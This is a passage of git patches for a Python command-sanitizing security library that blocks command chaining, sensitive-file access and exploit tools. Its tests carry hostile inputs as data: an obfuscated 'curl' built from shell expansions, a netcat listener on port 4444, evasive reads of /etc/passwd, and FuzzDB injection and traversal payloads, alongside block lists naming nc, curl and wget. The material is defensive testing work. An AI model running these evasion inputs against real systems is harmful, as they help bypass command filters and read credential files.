_resolve_executable_path(executable) + # If the executable is not set by the Popen kwargs it is the first command part (args). see subprocess.py line 1596 + if not executable_path: + executable_path = _resolve_executable_path(parsed_command[0], venv) abs_paths, abs_path_strings = _resolve_paths_in_parsed_command( - parsed_command) + parsed_command, venv) if "PREVENT_COMMAND_CHAINING" in restrictions: check_multiple_commands(expanded_command, parsed_command) @@ -574,7 +591,7 @@ def check_multiple_commands(expanded_command: str, parsed_command: List[str]) -> raise SecurityException( f"Multiple commands not allowed. Process substitution operators found.") - if cmd_part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES: + if cmd_part.strip() in BANNED_COMMAND_CHAINING_EXECUTABLES | COMMON_SHELLS: raise SecurityException( f"Multiple commands not allowed. Executable {cmd_part} allows command chaining.") diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index 70fb17b..5ac0f1f 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -158,7 +158,6 @@ def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_te ("${IFS}", " "), ("${IFS:0}", " "), ("${IFS:0:1}", " "), - ("${IFS:4:20}", " "), ("${HOME:4:20}", f"{str(Path.home())[4:20]}"), ("${HOME:4}", f"{str(Path.home())[4:]}"), ("${HOME:1:-10}", f"{str(Path.home())[1:-10]}"), @@ -197,7 +196,9 @@ def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_te ("${HOME: BADKEY=5: BADKEY+=5 } $BADKEY", f"{str(Path.home())[5:10]} 10"), ("${HOME: BADKEY=1+2+3 : BADKEY2=BADKEY+4 } $BADKEY $BADKEY2", f"{str(Path.home())[6:10]} 6 10"), ("${HOME: BADKEY=5+6-1-5 : BADKEY2=BADKEY+5 } ${BADKEY} ${BADKEY2}", f"{str(Path.home())[5:10]} 5 10"), - + ("${BADKEY:=} ${BADKEY:-cu}${BADKEY}${BADKEY:-rl}", " curl"), + + # Brace expansions ("a{d,c,b}e", "ade ace abe"), ("a{'d',\"c\",b}e", "ade ace abe"), @@ -319,19 +320,19 @@ def test_banned_shell_expansion(self, string): error_msg = cm.value.args[0] assert error_msg.startswith("Disallowed shell expansion") or error_msg.startswith("Invalid arithmetic in shell expansion") - -@pytest.mark.parametrize("original_func", [subprocess.run, subprocess.call]) -class TestSafeCommandRestrictions: - EXCEPTIONS = { +EXCEPTIONS = { "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES": SecurityException("Disallowed access to sensitive file"), "PREVENT_COMMAND_CHAINING": SecurityException("Multiple commands not allowed"), "PREVENT_COMMON_EXPLOIT_EXECUTABLES": SecurityException("Disallowed command"), "PREVENT_UNCOMMON_PATH_TYPES": SecurityException("Disallowed access to path type"), "PREVENT_ADMIN_OWNED_FILES": SecurityException("Disallowed access to file owned by"), "ANY": SecurityException("Any Security exception") - } +} - def _run_test_with_command(self, original_func, expected_result, restrictions, command, shell=False, compare_stderr=False, *args, **kwargs): +@pytest.mark.parametrize("original_func", [subprocess.run, subprocess.call]) +class TestSafeCommandRestrictions: + + def _run_test_with_command(self, command, expected_result, restrictions, original_func, shell=True, compare_stderr=False, *args, **kwargs): if isinstance(expected_result, SecurityException): with pytest.raises(SecurityException) as cm: safe_command.run( @@ -344,8 +345,7 @@ def _run_test_with_command(self, original_func, expected_result, restrictions, c # If the expected exception is not "Any Security exception" then check that the raised exception starts with the expected message if expected_result.args[0] != "Any Security exception": assert raised_exception.args[0].startswith(expected_result.args[0]) - - + else: result = safe_command.run( original_func=original_func, @@ -362,11 +362,6 @@ def _run_test_with_command(self, original_func, expected_result, restrictions, c assert compare_val == expected_result - def _do_test_command(self, command, expected_result, restrictions, original_func): - shell = isinstance(command, str) - self._run_test_with_command(original_func, expected_result, restrictions, command, shell=shell) - - @pytest.mark.parametrize( "command", [ @@ -417,9 +412,9 @@ def _do_test_command(self, command, expected_result, restrictions, original_func ] ) def test_check_multiple_commands(self, command, original_func, setup_teardown): - exception = self.EXCEPTIONS["PREVENT_COMMAND_CHAINING"] + exception = EXCEPTIONS["PREVENT_COMMAND_CHAINING"] restrictions = {"PREVENT_COMMAND_CHAINING"} - self._do_test_command(command, exception, restrictions, original_func) + self._run_test_with_command(command, exception, restrictions, original_func) @pytest.mark.parametrize( "command", @@ -450,9 +445,9 @@ def test_check_multiple_commands(self, command, original_func, setup_teardown): ] ) def test_check_sensitive_files(self, command, original_func, setup_teardown): - exception = self.EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"] + exception = EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"] restrictions = {"PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"} - self._do_test_command(command, exception, restrictions, original_func) + self._run_test_with_command(command, exception, restrictions, original_func) @pytest.mark.parametrize( @@ -522,9 +517,9 @@ def test_check_sensitive_files(self, command, original_func, setup_teardown): ] ) def test_check_banned_executable(self, command, original_func, setup_teardown): - exception = self.EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"] + exception = EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"] restrictions = {"PREVENT_COMMON_EXPLOIT_EXECUTABLES"} - self._do_test_command(command, exception, restrictions, original_func) + self._run_test_with_command(command, exception, restrictions, original_func) @pytest.mark.parametrize( "command", @@ -536,12 +531,12 @@ def test_check_banned_executable(self, command, original_func, setup_teardown): ] ) def test_check_path_type(self, command, original_func, setup_teardown): - exception = self.EXCEPTIONS["PREVENT_UNCOMMON_PATH_TYPES"] + exception = EXCEPTIONS["PREVENT_UNCOMMON_PATH_TYPES"] restrictions = {"PREVENT_UNCOMMON_PATH_TYPES"} testpaths = setup_teardown command = insert_testpaths(command, testpaths) - self._do_test_command(command, exception, restrictions, original_func) + self._run_test_with_command(command, exception, restrictions, original_func) @pytest.mark.parametrize( @@ -556,9 +551,9 @@ def test_check_path_type(self, command, original_func, setup_teardown): ] ) def test_check_file_owner(self, command, original_func, setup_teardown): - exception = self.EXCEPTIONS["PREVENT_ADMIN_OWNED_FILES"] + exception = EXCEPTIONS["PREVENT_ADMIN_OWNED_FILES"] restrictions = {"PREVENT_ADMIN_OWNED_FILES"} - self._do_test_command(command, exception, restrictions, original_func) + self._run_test_with_command(command, exception, restrictions, original_func) @pytest.mark.parametrize( @@ -597,7 +592,55 @@ def test_valid_commands_not_blocked(self, command, expected_result, original_fun "PREVENT_UNCOMMON_PATH_TYPES", "PREVENT_ADMIN_OWNED_FILES" ] - self._do_test_command(command, expected_result, restrictions, original_func) + shell = isinstance(command, str) + self._run_test_with_command(command, expected_result, restrictions, original_func, shell=shell) + + + @pytest.mark.parametrize( + "command, expected_result, popen_kwargs", + [ + ("echo $HOME/somefile/", f"{str(Path.home())}/somefile/", {"shell": True}), + ("echo $HOME", "/Users/TESTHOME", {"env": {"HOME": "/Users/TESTHOME"}, "shell": True}), + ("echo $HOME", EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], {"env": {"HOME": "/etc/passwd"}, "shell": True}), + (["/bin/echo $HOME/somefile/"], f"{str(Path.home())}/somefile/", {"shell": True}), + (["/bin/echo", "$HOME/somefile/"], f"$HOME/somefile/", {"shell": False}), + + # Should only raise exception if shell is True or executable is a shell + (["/bin/cat /etc/${BADKEY:-passwd}"], EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], {"shell": True}), + (["/bin/cat /etc/${BADKEY:-passwd}"], EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], {"shell": False, "executable": "/bin/bash"}), + (["/bin/cat", "/etc/${BADKEY:-passwd}"], "", {"shell": False}), + # Executable takes precedence over shell so this should not raise an exception even though the shell expansion would resolve to /etc/passwd + (["/etc/${BADKEY:-passwd}"], "", {"shell": True, "executable": "/bin/cat"}), + + # env kwarg values used in shell expansions + ("echo $HOME/{file1.txt,file2.txt,${BADKEY:=file3.txt},${BADKEY:+file4.txt}}", + "/Users/TESTHOME/file1.txt /Users/TESTHOME/file2.txt /Users/TESTHOME/file3.txt /Users/TESTHOME/file4.txt", + {"shell": True, "env": {"HOME": "/Users/TESTHOME"}}), + (["-c", "cat /{junk1,\"${TEST:1:2}${TEST:0:1}\"}c/p*sswd"], + EXCEPTIONS["PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES"], + {"shell": False, "executable": "bash", "env": {"TEST": "test"}}), + + # path resolution should be based on env variables + ("which ls", which("ls"), {"shell": True}), + ("which ls", "", {"shell": True, "env": {"PATH": ""}}), + ("(sh)<<<'{nc,-l,-p,4444}'", EXCEPTIONS["PREVENT_COMMON_EXPLOIT_EXECUTABLES"], {"shell": True}), + # No exception should be raised here becuase when env PATH is set to empty string, the executables can't be found + ("(sh)<<<'{nc,-l,-p,4444}'", "", {"shell": True, "env" : {"PATH": ""}}), + ] + + ) + def test_popen_kwargs(self, command, expected_result, popen_kwargs, original_func): + if original_func.__name__ == "call": + # call doesn't have capture_output kwarg so can't compare result and easier to just return than refactor + return + + restrictions = [ + "PREVENT_COMMAND_CHAINING", + "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", + "PREVENT_COMMON_EXPLOIT_EXECUTABLES", + ] + + self._run_test_with_command(command, expected_result, restrictions, original_func, **popen_kwargs) # FUZZDB tests @@ -617,7 +660,7 @@ def test_fuzzdb_injection_payloads(self, command, original_func): "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES", "PREVENT_COMMON_EXPLOIT_EXECUTABLES", ] - self._do_test_command(command, self.EXCEPTIONS["ANY"], restrictions, original_func) + self._run_test_with_command(command, EXCEPTIONS["ANY"], restrictions, original_func) @pytest.mark.parametrize( From c7351649b2dcccd64b61e10fbab3ac7ffbdd1a12 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Tue, 27 Feb 2024 06:45:32 -0800 Subject: [PATCH 12/19] Remove unused os.environ import left by mistake --- src/security/safe_command/api.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index d140ccb..9713de8 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -2,7 +2,7 @@ from re import compile as re_compile from pathlib import Path from glob import iglob -from os import getenv, get_exec_path, environ, access, X_OK +from os import getenv, get_exec_path, access, X_OK from os.path import expanduser, expandvars from shutil import which from subprocess import CompletedProcess From c774f1af73883b572e5158ad98d1bc20b431c138 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Tue, 5 Mar 2024 13:40:21 -0800 Subject: [PATCH 13/19] Add FuzzDB license. --- tests/safe_command/fuzzdb/_copyright.txt | 58 +++++++++++++++++++ .../fuzzdb/command-injection-template.txt | 1 + .../traversals-8-deep-exotic-encoding.txt | 1 + tests/safe_command/test_injection.py | 4 +- 4 files changed, 62 insertions(+), 2 deletions(-) create mode 100644 tests/safe_command/fuzzdb/_copyright.txt diff --git a/tests/safe_command/fuzzdb/_copyright.txt b/tests/safe_command/fuzzdb/_copyright.txt new file mode 100644 index 0000000..28ebfdf --- /dev/null +++ b/tests/safe_command/fuzzdb/_copyright.txt @@ -0,0 +1,58 @@ +Copyright (c) 2010-2019, Adam Muntner +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +Neither the name of fuzzdb nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Licensed under Creative Commons - By Attribution + +see + +http://creativecommons.org/licenses/by/3.0/legalcode + +---- + +contains dictionaries from Skipfish + Copyright 2010 Michal Zalewski + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + +---- + +The MIT License (MIT) + +Copyright (c) 2015 Max Woolf + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/tests/safe_command/fuzzdb/command-injection-template.txt b/tests/safe_command/fuzzdb/command-injection-template.txt index 3c9cb95..d6342c4 100644 --- a/tests/safe_command/fuzzdb/command-injection-template.txt +++ b/tests/safe_command/fuzzdb/command-injection-template.txt @@ -1,3 +1,4 @@ +These test vectors were taken from the fuzzdb project under the terms of the license in _copyright.txt {cmd} ;{cmd} ;{cmd}; diff --git a/tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt b/tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt index ffabf29..b7feae0 100644 --- a/tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt +++ b/tests/safe_command/fuzzdb/traversals-8-deep-exotic-encoding.txt @@ -1,3 +1,4 @@ +These test vectors were taken from the fuzzdb project under the terms of the license in _copyright.txt /0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} /0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE} /0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE} diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index 5ac0f1f..23d3069 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -9,9 +9,9 @@ from security.exceptions import SecurityException with (Path(__file__).parent / "fuzzdb" / "command-injection-template.txt").open() as f: - FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f] # Remove newline from the end without modifying payloads and handle escapes + FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in list(f)[1:]] # Remove newline from the end without modifying payloads and handle escapes with (Path(__file__).parent / "fuzzdb" / "traversals-8-deep-exotic-encoding.txt").open() as f: - FUZZDB_PATH_TRAVERSAL_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f] + FUZZDB_PATH_TRAVERSAL_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in list(f)[1:]] @pytest.fixture From ddb99ac30f1d3c234704c72e81dd7782a7e139ff Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Tue, 5 Mar 2024 15:24:35 -0800 Subject: [PATCH 14/19] remove unnessary list conversion --- tests/safe_command/test_injection.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index 23d3069..2a4cf14 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -9,9 +9,9 @@ from security.exceptions import SecurityException with (Path(__file__).parent / "fuzzdb" / "command-injection-template.txt").open() as f: - FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in list(f)[1:]] # Remove newline from the end without modifying payloads and handle escapes + FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f][1:] # Remove newline from the end without modifying payloads and handle escapes with (Path(__file__).parent / "fuzzdb" / "traversals-8-deep-exotic-encoding.txt").open() as f: - FUZZDB_PATH_TRAVERSAL_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in list(f)[1:]] + FUZZDB_PATH_TRAVERSAL_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f][1:] @pytest.fixture From de9999365c2d67868ef1317ee4454f805ad1b08a Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Wed, 6 Mar 2024 10:32:00 -0800 Subject: [PATCH 15/19] - Optimized space complexity of command parsing and path resolution by converting _resolve_path_in_parsed_command to a generator of Path objects that takes a single cmd_part and yields all the resolved paths for it. - Split check_* methods based on if they are checking the expanded_command, a single command part, a single path string, or single path. - First the command is expanded and expanded_command is checked. Then the if expanded_command passes checks it is used to create a generator of cmd_parts. - Checks are then preformed on each part and its paths as they are generated, so all the parts/paths do not need to be stored in memory at once. - Reduces the space complexity from O(n) to O(1) where n is the number of command parts or paths. - More loops over the BANNED_* are needed which does slightly increase the time complexity, but this trade off is worth it since: - This can actually reduce the overall check execution time by raising an exception sooner before fully resolving all the parts/paths. - The number of BANNED_* is relatively small and constant. - The number of command parts and more importantly paths could be very large and unpredictable. - Recursively handle symlinks to symlinks, and/or symlinks to directories which may contain symlinks. - _path_is_executable now will not return True for dirs since dirs can have the x bit but they are not executables. - max_resolved_paths, and rglob_dirs kwargs can be used to control this behavior. - SecurityException raised if the number of resolved paths exceeds max_resolved_paths. - updated test_resolve_paths_in_parsed_command and added test_max_resolved_paths to test this behavior. - Underlying check implmentation logic is unchanged. --- src/security/safe_command/api.py | 274 +++++++++++++++------------ tests/safe_command/test_injection.py | 132 +++++++++++-- 2 files changed, 267 insertions(+), 139 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index 9713de8..fa55fd9 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -6,7 +6,7 @@ from os.path import expanduser, expandvars from shutil import which from subprocess import CompletedProcess -from typing import Union, Optional, List, Tuple, Set, FrozenSet, Sequence, Callable, Iterator +from typing import Union, Optional, List, FrozenSet, Sequence, Callable, Iterator from security.exceptions import SecurityException ValidRestrictions = Optional[Union[FrozenSet[str], Sequence[str]]] @@ -37,8 +37,8 @@ ("nc", "netcat", "ncat", "curl", "wget", "dpkg", "rpm")) BANNED_PATHTYPES = frozenset( ("mount", "symlink", "block_device", "char_device", "fifo", "socket")) -BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo")) -BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo")) +BANNED_OWNERS = frozenset(("root", "admin", "wheel", "sudo", "Administrator", "SYSTEM")) +BANNED_GROUPS = frozenset(("root", "admin", "wheel", "sudo", "Administrators", "SYSTEM")) BANNED_COMMAND_CHAINING_SEPARATORS = frozenset(("&", ";", "|", "\n")) BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS = frozenset( ("$(", "`", "<(", ">(")) @@ -57,9 +57,15 @@ ("!", "*", "@", "#", "%", "/", "^", ",")) -def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions = DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: +def run(original_func: Callable, + command: ValidCommand, + *args, + restrictions: ValidRestrictions = DEFAULT_CHECKS, + max_resolved_paths: int = 10000, + rglob_dirs: bool = True, + **kwargs) -> Union[CompletedProcess, None]: # If there is a command and it passes the checks pass it the original function call - check(command, restrictions, **kwargs) + check(command, restrictions, max_resolved_paths, rglob_dirs, **kwargs) return _call_original(original_func, command, *args, **kwargs) @@ -431,10 +437,7 @@ def _recursive_shlex_split(command: str) -> Iterator[str]: yield from _recursive_shlex_split(cmd_part) -def _parse_command(command: ValidCommand, venv: Optional[dict] = None, shell: Optional[bool] = True) -> Tuple[str, List[str]]: - """ - Expands the shell exspansions in the command then parses the expanded command into a list of command parts. - """ +def _validate_and_expand_command(command: ValidCommand, venv: Optional[dict] = None, shell: Optional[bool] = True) -> str: if isinstance(command, str): command_str = command elif isinstance(command, list): @@ -443,18 +446,16 @@ def _parse_command(command: ValidCommand, venv: Optional[dict] = None, shell: Op raise TypeError("Command must be a str or a list") if not command_str: - # No need to expand or parse an empty command - return ("", []) - + # No need to expand an empty command + return command_str + spaced_command = _space_redirection_operators(command_str) - expanded_command = _shell_expand( - spaced_command, venv) if shell else spaced_command - parsed_command = list(_recursive_shlex_split(expanded_command)) - return expanded_command, parsed_command + expanded_command = _shell_expand(spaced_command, venv) if shell else spaced_command + return expanded_command def _path_is_executable(path: Path) -> bool: - return access(path, X_OK) + return access(path, X_OK) and not path.is_dir() def _resolve_executable_path(executable: Optional[str], venv: Optional[dict] = None) -> Optional[Path]: @@ -475,155 +476,180 @@ def _resolve_executable_path(executable: Optional[str], venv: Optional[dict] = N return None -def _resolve_paths_in_parsed_command(parsed_command: List[str], venv: Optional[dict] = None) -> Tuple[Set[Path], Set[str]]: +def _recursive_resolve_symlinks(path: Path, rglob_dirs: bool = True) -> Iterator[Path]: """ - Create Path objects from the parsed commands and resolve symlinks then add to sets of unique Paths - and absolute path strings for comparison with the sensitive files, common exploit executables and group/owner checks. + Recursively resolves symlinks in the path. + When the path is a symlink first the absolute path of the symlink is yielded + then _recursive_resolve_symlinks is called on the resolved path of its target + this is needed to handle nested symlinks and symlinks to directories which may contain symlinks """ + if path.is_symlink(): + yield path.absolute() + yield from _recursive_resolve_symlinks(path.resolve(), rglob_dirs) + elif path.is_dir(): + yield path.absolute() + if rglob_dirs: + for file in path.rglob("*"): + yield from _recursive_resolve_symlinks(file, rglob_dirs) + else: + # a final .resolve is needed to handle files like /private/etc/passwd on MacOS which behave like symlinks but are not according to Path.is_symlink + yield path.resolve() - abs_paths, abs_path_strings = set(), set() - - for cmd_part in parsed_command: - - if "~" in cmd_part: - # Expand ~ and ~user constructions in the cmd_part - cmd_part = expanduser(cmd_part) - - # Check if the cmd_part is an executable and resolve the path - if executable_path := _resolve_executable_path(cmd_part, venv): - abs_paths.add(executable_path) - abs_path_strings.add(str(executable_path)) - - # Handle any globbing characters and repeating slashes from the command and resolve symlinks to get absolute path - for path in iglob(cmd_part, recursive=True): - path = Path(path) - - # When its a symlink both the absolute path of the symlink - # and the resolved path of its target are added to the sets - if path.is_symlink(): - path = path.absolute() - abs_paths.add(path) - abs_path_strings.add(str(path)) - abs_path = Path(path).resolve() - abs_paths.add(abs_path) - abs_path_strings.add(str(abs_path)) +def _resolve_paths_in_command_part(cmd_part: str, venv: Optional[dict] = None, rglob_dirs: bool = True) -> Iterator[Path]: + """ + Create Path objects handling tilde expansion, globbing and symlinks in the command part. + """ - # Check if globbing and/or resolving symlinks returned an executable and add to the sets - if executable_path := _resolve_executable_path(str(path), venv): - abs_paths.add(executable_path) - abs_path_strings.add(str(executable_path)) + if "~" in cmd_part: + # Expand ~ and ~user constructions in the cmd_part + cmd_part = expanduser(cmd_part) - # Check if globbing and/or resolving symlinks returned a directory and add all files in the directory to the sets - if abs_path.is_dir(): - for file in abs_path.rglob("*"): - file = file.resolve() - abs_paths.add(file) - abs_path_strings.add(str(file)) + # Check if the cmd_part is an executable and resolve the path + if executable_path := _resolve_executable_path(cmd_part, venv): + yield executable_path + return # Globbing is redundant when the cmd_part is an executable - return abs_paths, abs_path_strings + # Handle any globbing characters and repeating slashes from the command and resolve symlinks to get absolute paths + for path in map(Path, iglob(cmd_part, recursive=True)): + yield from _recursive_resolve_symlinks(path, rglob_dirs) -def check(command: ValidCommand, restrictions: ValidRestrictions, **kwargs) -> None: +def check(command: ValidCommand, + restrictions: ValidRestrictions, + max_resolved_paths: int = 10000, + rglob_dirs: bool = True, + **Popen_kwargs) -> None: if not restrictions: # No restrictions no checks return None - # venv is a copy to avoid modifying the original Popen kwargs or None to default to using os.environ when env is not set - venv = dict(**Popen_env) if (Popen_env := kwargs.get("env")) is not None else None + # venv is a copy to avoid modifying the original Popen_kwargs or None to default to using os.environ when env is not set + venv = dict(**Popen_env) if (Popen_env := Popen_kwargs.get("env")) is not None else None - # Check if the executable is set by the Popen kwargs (either executable or shell) + # Check if the executable is set by the Popen Popen_kwargs (either executable or shell) # Executable takes precedence over shell. see subprocess.py line 1593 - executable_path = _resolve_executable_path(kwargs.get("executable"), venv) - shell = executable_path.name in COMMON_SHELLS if executable_path else kwargs.get("shell") + executable_path = _resolve_executable_path(Popen_kwargs.get("executable"), venv) + shell = executable_path.name in COMMON_SHELLS if executable_path else Popen_kwargs.get("shell") - expanded_command, parsed_command = _parse_command(command, venv, shell) - if not parsed_command: + if not (expanded_command := _validate_and_expand_command(command, venv, shell)): # Empty commands are safe return None - - # If the executable is not set by the Popen kwargs it is the first command part (args). see subprocess.py line 1596 - if not executable_path: - executable_path = _resolve_executable_path(parsed_command[0], venv) - - abs_paths, abs_path_strings = _resolve_paths_in_parsed_command( - parsed_command, venv) - - if "PREVENT_COMMAND_CHAINING" in restrictions: - check_multiple_commands(expanded_command, parsed_command) - - if "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES" in restrictions: - check_sensitive_files(expanded_command, abs_path_strings) - - if "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions: - check_banned_executable(expanded_command, abs_path_strings) - + + # First check the expanded command string for the restrictions + if prevent_command_chaining := "PREVENT_COMMAND_CHAINING" in restrictions: + check_newline_in_expanded_command(expanded_command) + if prevent_sensitive_files := "PREVENT_ARGUMENTS_TARGETING_SENSITIVE_FILES" in restrictions: + check_sensitive_files_in_expanded_command(expanded_command) + if prevent_common_exploit_executables := "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions: + check_banned_executable_in_expanded_command(expanded_command) + + # Create local bools for each restriction to avoid membership check each iteration prevent_uncommon_path_types = "PREVENT_UNCOMMON_PATH_TYPES" in restrictions prevent_admin_owned_files = "PREVENT_ADMIN_OWNED_FILES" in restrictions - for path in abs_paths: - # to avoid blocking the executable itself since most are symlinks to the actual executable - # and owned by root with group wheel or sudo - if path == executable_path: - continue + # Then check the parsed command parts for the restrictions if the expanded command passes + parsed_command = _recursive_shlex_split(expanded_command) - if prevent_uncommon_path_types: - check_path_type(path) - - if prevent_admin_owned_files: - check_file_owner(path) - check_file_group(path) - - -def check_multiple_commands(expanded_command: str, parsed_command: List[str]) -> None: + # Determine if path resolution is needed based on the restrictions + check_path_string = prevent_sensitive_files or prevent_common_exploit_executables + resolve_paths = check_path_string or prevent_uncommon_path_types or prevent_admin_owned_files + + num_resolved_paths = 0 + for cmd_part in parsed_command: + if prevent_command_chaining: + check_multiple_commands(cmd_part) + + if not resolve_paths: + continue + + for path in _resolve_paths_in_command_part(cmd_part, venv, rglob_dirs): + num_resolved_paths += 1 + if max_resolved_paths >= 0 and num_resolved_paths > max_resolved_paths: + raise SecurityException( + f"Exceeded maximum number of resolved paths: {max_resolved_paths}") + + if check_path_string: + path_string = str(path) + if prevent_sensitive_files: + check_path_is_sensitive_file(path_string) + if prevent_common_exploit_executables: + check_path_is_banned_executable(path_string) + + if not executable_path and num_resolved_paths == 1: + # If the executable is not set by the Popen kwargs it is the first command part (args). see subprocess.py line 1596 + executable_path = path + # continue to avoid blocking the executable itself since most are symlinks to the actual executable and owned by root with group wheel or sudo + continue + if prevent_uncommon_path_types: + check_path_type(path) + if prevent_admin_owned_files: + check_path_owner(path) + check_path_group(path) + + +# Expanded Command checks +def check_newline_in_expanded_command(expanded_command: str) -> None: # Since shlex.split removes newlines from the command, it would not be present in the parsed_command and # must be checked for in the expanded command string if '\n' in expanded_command: raise SecurityException( "Multiple commands not allowed. Newline found.") + - for cmd_part in parsed_command: - if any(seperator in cmd_part for seperator in BANNED_COMMAND_CHAINING_SEPARATORS): +def check_sensitive_files_in_expanded_command(expanded_command: str) -> None: + for sensitive_path in SENSITIVE_FILE_PATHS: + # First check the absolute path strings for the sensitive files + # Then handle edge cases when a sensitive file is part of a command but the path could not be resolved + if sensitive_path in expanded_command: raise SecurityException( - f"Multiple commands not allowed. Separators found.") + f"Disallowed access to sensitive file: {sensitive_path}") + - if any(substitution_op in cmd_part for substitution_op in BANNED_COMMAND_AND_PROCESS_SUBSTITUTION_OPERATORS): +def 